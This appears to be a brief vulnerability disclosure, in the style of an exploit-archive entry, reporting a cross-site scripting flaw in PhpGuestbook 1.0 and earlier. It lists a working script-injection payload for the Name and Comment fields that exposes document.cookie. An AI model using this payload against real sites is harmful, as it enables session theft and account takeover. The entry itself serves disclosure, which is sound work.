PhpGuestbook versions less than or equal to 1.0 suffer from XSS.
d667fae854418b3cc81462b68fefaeb16fa345367314b18628306ff5c403fd33
PhpGuestbook <= 1.0 XSS
Post Comment:-
Name: '><script>alert(document.cookie)</script>
Website:
Comment: '><script>alert(document.cookie)</script>
Found By:
Qex